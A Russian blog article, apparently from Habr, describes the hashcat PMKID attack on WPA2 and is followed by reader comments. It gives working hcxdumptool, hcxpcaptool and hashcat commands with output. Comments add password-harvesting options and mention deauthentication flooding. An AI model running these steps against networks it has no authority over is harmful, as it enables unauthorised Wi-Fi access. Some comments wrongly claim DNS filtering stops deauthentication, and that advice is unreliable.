image

 
Участниками проекта hashcat обнаружен новый вектор атаки на беспроводной стандарт WPA2, не требующий классического перехвата "рукопожатия" между клиентом и точкой доступа. Данная уязвимость выявлена в рамках исследования потенциальных проблем безопасности нового протокола WPA3.


Основное отличие от существующих атак заключается в том, что в этой атаке захват полного 4-стороннего рукопожатия EAPOL не требуется. Новая атака выполняется в RSN IE (Robust Security Network Information Element), и для ее успешного воспроизведения достаточно одного кадра EAPOL.


В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.


Основные особенности новой атаки:


  • нет необходимости ждать клиентов — атакуется напрямую AP;
  • нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;
  • отсутствие ретрансмиссии кадров EAPOL;
  • исключает вероятность захвата неверных паролей от клиента;
  • исключены потери кадров EAPOL при отдалении/потери связи с клиентом;
  • высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;
  • нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.

Детали атаки


RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.


image

PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.


PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.


Для атаки потребуются следующие инструменты (актуальные версии):



Запускаем hcxdumptool для "снятия" PMKID:


$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:


[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

После чего необходимо сконвертировать полученные данные:


$ ./hcxpcaptool -z test.16800 test.pcapng

start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

которые после конвертации примут следующий вид:


2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

представляющие из себя hex-значения следующих типов данных:


PMKID*MAC AP*MAC Station*ESSID

Далее остается "скормить" полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:


$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'



Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.


P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.


Центр информационной безопасности, "Инфосистемы Джет"

Комментарии (44)


  1. dartraiden
    06.08.2018 13:47
    +1

    Меня давно интересует вопрос: а что если дома поднять RADIUS-сервер прямо на той же точке доступа? Усилит это безопасность? По идее, вместо пароля для авторизации клиентов будут использоваться ключи, которые являются более стойкими.


    1. LukaSafonov Автор
      06.08.2018 14:10

      SOHO решения обычно сильно ограничены в плане ресурсов, поэтому разместить RADIUS может быть довольно проблематично. Также не стоит исключать кучу технических проблем совместимости такого размещения и принципа «хранения яиц в одной корзине».


      1. blind_oracle
        06.08.2018 14:28

        В большинстве роутеров используется hostapd в качестве сервиса для управления WLAN-интерфейсом, а у него есть встроенный RADIUS-сервер и организовать WPA-Enterprise нет никаких проблем.

        framkant.org/2015/11/wpa2-enterprise-with-hostapd


        1. LukaSafonov Автор
          06.08.2018 14:29

          Почему тогда это такая редкость «из коробки»? Что мешает вендорам ее включить в дефолтную поставку?


          1. blind_oracle
            06.08.2018 14:42

            Вероятно, по мнению вендоров, пользователям это не нужно.
            И, скорее всего, они правы так как большинство юзеров и PSK настроить не осилят сами — для них был придуман злополучный WPS с пин-кодом и\или кнопкой.

            Ну и зоопарк EAP-стандартов тоже доставляет.


        1. safari2012
          07.08.2018 09:03

          В openwrt/lede по умолчанию ставится пакет wpad-mini, с урезанной версией hostapd, если я не ошибаюсь.


          1. blind_oracle
            07.08.2018 09:12

            Никто не мешает поставить полную версию.


            1. safari2012
              07.08.2018 15:30

              В openwrt — да, никто не мешает. А вот в «в большинстве роутеров», не факт…


              1. blind_oracle
                07.08.2018 15:34

                Самому — конечно, без установки OpenWRT вряд-ли.
                Но мы тут речь ведем о технической возможности вендору реализовать поддержку встроенного радиуса в своих продуктах для работы WPA Enterprise. Технически такой проблемы нет.


          1. impvision
            07.08.2018 12:08

            Подобная релизация в свое время была сделана на базе Linksys + dd-wrt связки. Прилично работало и не отваливалось — конечно много ручной работы, а при желании автоматизировать — необходимо писать «костыли» на самой wrt платформе.


          1. YourChief
            07.08.2018 13:08

            Да, нужно ставить полноценный wpad и freeradius. Проверено, работает уже несколько месяцев. Может и можно обойтись одним hostapd — я впервые в комментах к этой статье узнал, что он сам может быть радиус-сервером.


            1. YourChief
              08.08.2018 03:21

              Собрал пакет hostapd с поддержкой openssl — заработал EAP-TLS и на одном только hostapd, без фрирадиуса. То есть вопрос реализации этого метода — лишние 2 МБ ОЗУ для загрузки либы OpenSSL в ОЗУ роутера.


      1. NightFlight
        06.08.2018 17:19

        Есть такая отличная штука — outsourced RADIUS. Десять юзеров бесплатно. Я не использую постоянно, так что не могу ничего сказать по поводу того, бывает ли downtime и как часто, но когда использую (мне это нужно по работе для тестов софта в конфигурации WPA2 Enterprise), то работает как часы.


      1. dartraiden
        06.08.2018 17:52

        принципа «хранения яиц в одной корзине»

        Тут, на мой взгляд, ухудшения по сравнению с использованием WPA2-PSK, не произойдёт, поскольку пароль тоже хранится на точке.


    1. ivlis
      07.08.2018 04:36

      Я ставил радиус-сервер на самодельном NAS. Проблем особо никаких, но посчитал уже слишком трудоёмким решением для домшней сети.


    1. YourChief
      07.08.2018 13:05

      Использую OpenWRT на Archer C50 v1 с freeradius3 для WPA2 Enterprise с аутентификацией EAP-TLS. Работает отлично, проблему решает в корне.


  1. DaemonGloom
    06.08.2018 14:11
    -2

    с включенными функциями роуминга, а это большинство современных маршрутизаторов
    эта уязвимость в большей степени затрагивает домашние/SOHO-устройства

    Большинство современных точек — домашние. И не поддерживают роуминг вообще. Как и многие корпоративные точки его не умеют (Mikrotik, UniFi). А псевдо-роумингу эта уязвимость не страшна.

    Кстати. Не надо использовать клик-бейт заголовки. Новой эта уязвимость была примерно год назад.


    1. DaemonGloom
      06.08.2018 14:29

      Не знаю, кто минусует, но по этой уязвимости отзывы на UniFi примерно такие:
      «Nope. Tested it with a Ubiquiti AC-Lite access point (with fast roaming enabled): the EAPOL frames do not include vendor specific RSN data (with the PMKID in it).»
      «Trying it out now against Ubiquity gear and it doesn't seem to work.»

      Равно как и на форуме Микротика нет паники.
      «This seems like it would only affect 802.1x / EAP setups.»

      При этом принципиально не изменилось ничего — всё тот же брутфорс. Возможность взлома без клиента в сети не критична — в офисных сетях (где и ставят нужные точки доступа) клиенты есть практически всегда.


  1. ittakir
    06.08.2018 14:14

    А брутфорс будет идти опять по всем вариантам пароля или все же по более ограниченному множеству?


    1. LukaSafonov Автор
      06.08.2018 14:18
      +1

      Контрибьюторы hashcat рекомендуют использовать опции для более эффективного брута:

      $ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

      Note: While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.
      -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)
      -I retrieve identities from WiFi-traffic
      -U retrieve usernames from WiFi-traffic

      но в целом мало что изменилось, от брута пока никуда не уйти.


  1. Protos
    06.08.2018 14:25
    -6

    А где ссылка на. CVE, CWE, способы защиты? Правильный пентестер должен уметь правильно писать отчёт о найденных уязвимостях


  1. mikelavr
    06.08.2018 15:05
    +1

    Я правильно понимаю, что против атаки перебором длинный пароль остается достаточно надежным средством?


    1. vsb
      06.08.2018 18:00

      Конечно.


    1. denis-19
      06.08.2018 18:08

      Смотря какое количество символов в пароле считать длинным. Да и словарик каждый себе генерит какой нужно для брута. А вот если разные символы и перемешка хорошая — тут можно просто словарь не сделать подходящий даже.

      Год назад просто делал на ноуте с Кали-линукс в нескольких офисниках проверку на штатные пароли с брутом. 6-7 сетей из 10 были с очень простыми паролями. Да, в паре сетей этот пароль был еще и админовский на роутере. В общем мрак.


      1. unxed
        06.08.2018 18:52

        А ещё для брута есть замечательная штуковина gpuhash.me
        Пользоваться так: заливаешь туда дамп, ждёшь, пока они скажут «взламывается»-«не взламывается», если взламывается — уже гоняешь сам дома на хороших словарях, если нет — не тратишь зря время.


        1. x86corez
          06.08.2018 20:09
          +1

          Этот сервис не для проверки простых паролей, а для их подбора, и дальнейшей оплаты для получения подобранного ключа в случае успеха.

          Если каждый начнёт гонять сервис вхолостую, владелец просто разорится.


          1. AllexIn
            06.08.2018 23:06
            -1

            И это прекрасно. Пусть разоряется. Ничего хорошего он всё равно не делает.


      1. Leljka
        07.08.2018 10:48

        Как раз внизу задала вопросец по теме))) Сама суть действий не описана, исключительно итоговые данные, но вот если атака идет перебором — усбагоил))
        Т.е. очевидно, что атака на видимые вендоры в зоне действия. Конечно, во многих утилитах можно определить и скрытые, но в таком случае надо знать еще SSID


  1. unxed
    06.08.2018 18:53

    Что-нибудь слышно на тему того, когда в aircrack-ng завезут?


    1. x86corez
      06.08.2018 20:07

      Следи за этим тикетом: github.com/aircrack-ng/aircrack-ng/issues/1937


  1. Crandel
    06.08.2018 19:16
    -4

    Как им вообще пользоваться? Нужно в режим монитора переводить? Как конкретный ESSID взломать? Напоминает урок рисования совы


    1. FreeManOfPeace
      07.08.2018 08:56

      Кому надо тот и так разберётся, вроде всё доступно. А писать инструкции для совсем нубов… Нечего скрипт-киддисов на пустом месте разводить.


    1. crysiscore
      07.08.2018 12:09

      ESSID прочекать можно и тут https://3wifi.stascorp.com/find


  1. Leljka
    07.08.2018 10:41

    А вопрос вот такого рода еще. Атака на рандомные вендоры или определенный? Что в случае скрытого SSID?
    В принципе, на скринах мы видим мак-адреса, но вот вендоров в пределах видимости wi-fi сетей или в т.ч. и скрытых?


    1. safari2012
      07.08.2018 15:34

      так ведь в мак-адресе вендор как-раз зашит… или я не понял вашу мысль?


      1. Leljka
        07.08.2018 17:09

        Да не… Понял правильно! Это я тупанула.
        В принципе, скрывая SSID, мы просто можем обезопасить себя от обычного среднестатического пользователя-нехорошего соседа))
        Но все таки с обычного устройства видно лишь "другие сети". При нормальных утилитах, том же ssider маки видать, т.е. видно само устройство, независимо видно или нет точку доступа. Да и обойти это вполне возможно, опять же деаунтефикацией и "рукопожатием" видать все адреса. Но, пожалуй, как раз от рядового снифера вполне обезопасит. Если интересует конкретно твоя точка доступа)) Т.е. идет чудила со смартом и, в отличие от ПК, у него не видать даже "других сетей". Проверено на себе. Стандартный вифи анализер и ему подобные для смарта скрытых точек доступа тоже не видит. А чтоб такую сеть засветить, все-таки деаунтефикация нужна!
        Можно еще ограничить широкополосный сигнал, тогда сигнал деаунтефикации до тебя просто не дойдет. Ответа не будет. Впрочем, это все шито белыми нитками. И, в принципе, это при обычной атаке.


        Ок, думаем дальше.
        Атакующий получил мои данные ведра. Далее ему нужно, чтоб, меня, как при роуминге с внутренней сетью ресиверов, с теми же данными, как на основном роутере, перебросило с моего ведра на так называемый "адаптер" и я этого не заметила, (псевдоадаптер или псевдоусилитель, т.е. в утилиту атакующего, на виртуальную точку доступа), после чего мои устройства будут видны (мак-адреса), которые тоже можно скрыть, чтоб их не было видно, или, как для провайдера, если выставлена трансляция нат, будет видно только мак ведра. Никогда не приставали вам с претензиями, что мол много устройств подключено, и вы, такой нехороший, продаете соседям их тырнет, как посредник? Срубая чужое бабло? а такие параноики бывают)) И вот тогда приходится много ваших домашних гаджетов спрятать. Но сааааамое главное! (посмотрела на своем зикселюшке), чтоб он работал по принципу, как роумингом, т.е. выбросил меня без деаунтефикации, нужно выставить соответствующие настройки, а значит, мало клонировать данные, которые видно даже в невинном легальном ссидре! Надо взломать пароль устройства и поменять его настройки! Как я вижу на скрнине, изначально при атаке утилита получает хеш-сумму пароля (или нечто похожее, пишут hex, суть та же). Соответственно, она должна его расшифровать. И делает она это тоже перебором и сверкой! (Как раз там я еще под комментом про перебор паролей откомментила, причем, зазря). Вывод? Чем сложнее и длиннее пароль — тем тяжелее это сделать.


        Ну и третий вариант еще проще. За ненадобностью можно обновиться, просто сняв галки с компонентов прошивки, при которой роуминг возможен вообще, т.е. оставить лишь основной режим, не устанавливая "адаптер", "ресивер", "усилитель сигнала" (конечно, если они не нужны, но для стандартных квартир охвата одного среднестатичного роутера вполне хватает).


      1. Leljka
        07.08.2018 17:26

        Еще забыла. В случае скрытого SSID нужна, как я сказала, деаунтефикация, хотя бы одна. А это не что иное, как Dos. Только разовый, не непрерывный. В этом случае хороша DNSя. В принципе, любой файер от любой компании, работающий по принципу фильтрации таких сигналов (безопасность). DNS есть сегодня в любой прошивке роутеров основных компаний-поставщиков, так же его можно вбить вручную там же, в настройках.


        1. dartraiden
          07.08.2018 17:44

          Не обижайтесь, но вот конкретно это дополнение — бессмысленный набор слов. DNS и аутентификация в беспроводной сети не связаны вообще никак. Они работают на разных уровнях модели OSI.

          Вас, возможно, смутил термин DoS. Но DoS это всего лишь атака «отказ в обслуживании». Она никак не привязана к какому-то конкретному протоколу (DNS) или технологии (Wi-Fi) вообще.


          1. Leljka
            07.08.2018 18:46

            Ну может быть, я что-то путаю)) Я просто подымала материал по теме, искала варианты. Я говорю о сигналах, забивающих эфир. По сути, я имела в виду, "подобно DoS". Т.е. чтоб ваше устройство не получило сигнал провайдера, произошла деаутентификация, нужно забить эфир, прервав сигнал провайдера к вам.
            Касаемо дээнеси. Я имела в виду не аутентификацию в сети провайдера, а фильтр. Такие фильтры устанавливаются не на вашей оси, а на серверах компаний. В роутере они отображаются на домашней странице вместе с DNS вашего провайдера. Гдет я уже описывала и показывала действие с cmd. Даже прокладыванием пути сюда, на Хабр. Сигнал идет от провайдера к вам в устройство, но оно не принимает его, а сразу отправляет на сервак компании, DNS которой вы используете (Яндекс, скай, гугл, не важно), там он "просеивается" и возвращается к вам очищенный, поразительно, но у меня по отчету командной строки это занимает 1 микросекунду. То же самое и ответный сигнал. Он идет на сервак компании-"файрволла", а далее уже к провайдеру и в тырнет, куда вы адресуете.
            При этом, у меня сам роутер еще и блокирует в домашней сети взрослые сайты (ребенок), вредоносы, фишинг и т.п. (когда отключен антивирь это видно, так приоритет отдается установленному ПО в компе).


            1. dartraiden
              07.08.2018 18:47

              Просто подумайте: деаутентификация нарушает связь клиента с точкой (смартфона с роутером, допустим). Там нет никакого DNS в принципе между ними. Тем более, какого-то яндексовского, гугловского и т.п. Эта точка доступа вообще может не иметь выхода в Интернет.

              DNS с фильтрацией вредоносного контента — это замечательно, как и своевременно обновлять операционную систему, руки мыть перед едой, но всё это не имеет никакого отношения к защите от деаутентификации клиента и никак от неё не защищает.


              1. dartraiden
                07.08.2018 18:54

                Для примера: если я топором рубану кабель между вашим ПК и оборудованием провайдера, вам от этого поможет использование стороннего DNS-сервиса? Нет, не поможет. Именно потому, что это разные уровни: канальный и прикладной.

                Деаутентификация клиента беспроводной сети это такое же «рубанули топором», только кабеля между беспроводным клиентом и точкой доступа (роутером) нет, а есть беспроводная связь, в которую можно, к сожалению, вклиниться и послать клиенту от имени точки команду разорвать подключение, поскольку соответствующие фреймы никак не защищены от подделки.

                Эту проблему решает IEEE 802.11w, но требуется поддержка как со стороны точки доступа, так и клиентов.


                1. Leljka
                  07.08.2018 20:47

                  Не там)) Вы отправляете сигнал и он изначально идет на сервак, потом ко мне.


                  Уф. Ладно… Даже на канальном уровне — это радиосигналы с определенной частотой. Сейчас смотрела принцип действия глушилок (причем, любых, от GSM до вифи, стационарных и карманных). Та же суть. Только эфир забивается пустыми сигналами с той же частотой. И кстати, бесполезно рубить канальный сигнал — любое современное устройство просто прыгнет на другой. В общем, не суть важно. В скринах представлен не определенный вендор, а ряд устройств. Т.е, допустим, ты проводишь атаку возле жилого многоквартирного дома. Какой-то один канал тебе не прокатит. Сами устройства автоматически располагаются на разных, чтоб не забивать друг друга.
                  Есть еще атаки 3-его и 4-го уровня на ПО (а прошивка роутера, это не что иное, как ПО, верно?). Но в теме выше этого нет.
                  А. Так о глушилках. Даже сигналы, определенной частоты в герцах, со скоростью ответа и обработки выше интернет-сигналов, маленькие портативные устройства способны испускать до 3-х часов. Но здесь ты заглушишь и себя в т.ч. это бессмысленно. без интернета виртуальный хотспот в утилите бесполезен.
                  Я о самой сути работы DNS-фильтров. Они не на устройстве. На устройстве только настройки. В общем, об этом лучше сами специалисты расскажут. У меня пока проблем нет. И есть люди, именно с этим работающие, разрабы и т.п. Специалисты.
                  Ну а вообще, если учесть мою "паранойю" в этом плане — даже при удачном снифе в моем случае натолкнутся на кучу паролей. Пароль от паролей и паролями погоняет)))
                  Были времена, когда я сама купилась на удачно подвернувшийся вовремя предложивший себя гостевой хотспот (виртуальный, естественно и ненадолго). Ну. как минимум, это один из перебранных мною вариантов. Эти времена давно прошли. Вот с тех пор многое пройдено, прочитано, выучено.


                  А вообще реально, самый эффективный вариант в э т о м случае — удаление компонентов, позволяющих роуминг. Но остается еще атака перехватом рукопожатия. Ну и в наших интересах эту атаку вместо рукопожатия сделать рукожопатием, верно? ;))
                  Если есть идеи лучше — делитесь, с удовольствием намотаю на ус) Я читаю в т.ч. и комменты, дельные советы и т.п. Кароче, учусь везде и на всем)


                  1. dartraiden
                    07.08.2018 20:49

                    бесполезно рубить канальный сигнал — любое современное устройство просто прыгнет на другой
                    Так для того и рубим, чтобы устройство переподключилось. Тут мы ловим хендшейк (рукопожатие, от которого никуда не деться, иначе клиент не установит связь с точкой доступа), что даёт пищу для расшифровки. Успешной или нет — уже зависит от сложности пароля.

                    Кроме того, как только клиент попытается переподключиться, мы может снова послать пакет, который заставит его отключиться. И автоматизировать это. Допустим, поместить неподалёку одноплатный компьютер с аккумулятором, который будет наводнять эфир deauth-пакетами.

                    Ждём, когда примут WPA3. Этот стандарт вводит обязательную защиту от такого безобразия.


                    1. Leljka
                      07.08.2018 20:56

                      Ок! А когда занят диапазон каналов, например? 2-5, 2-6, 7-12 и т.п?


                      Эту проблему решает IEEE 802.11w, но требуется поддержка как со стороны точки доступа, так и клиентов.

                      IEEE 802.11w это стандарт вифи-соединения между ведром и устройствами домашней сети, разве нет?))) И он в любом роутере сейчас есть. И у меня именно он. На частоте 2,4ГГц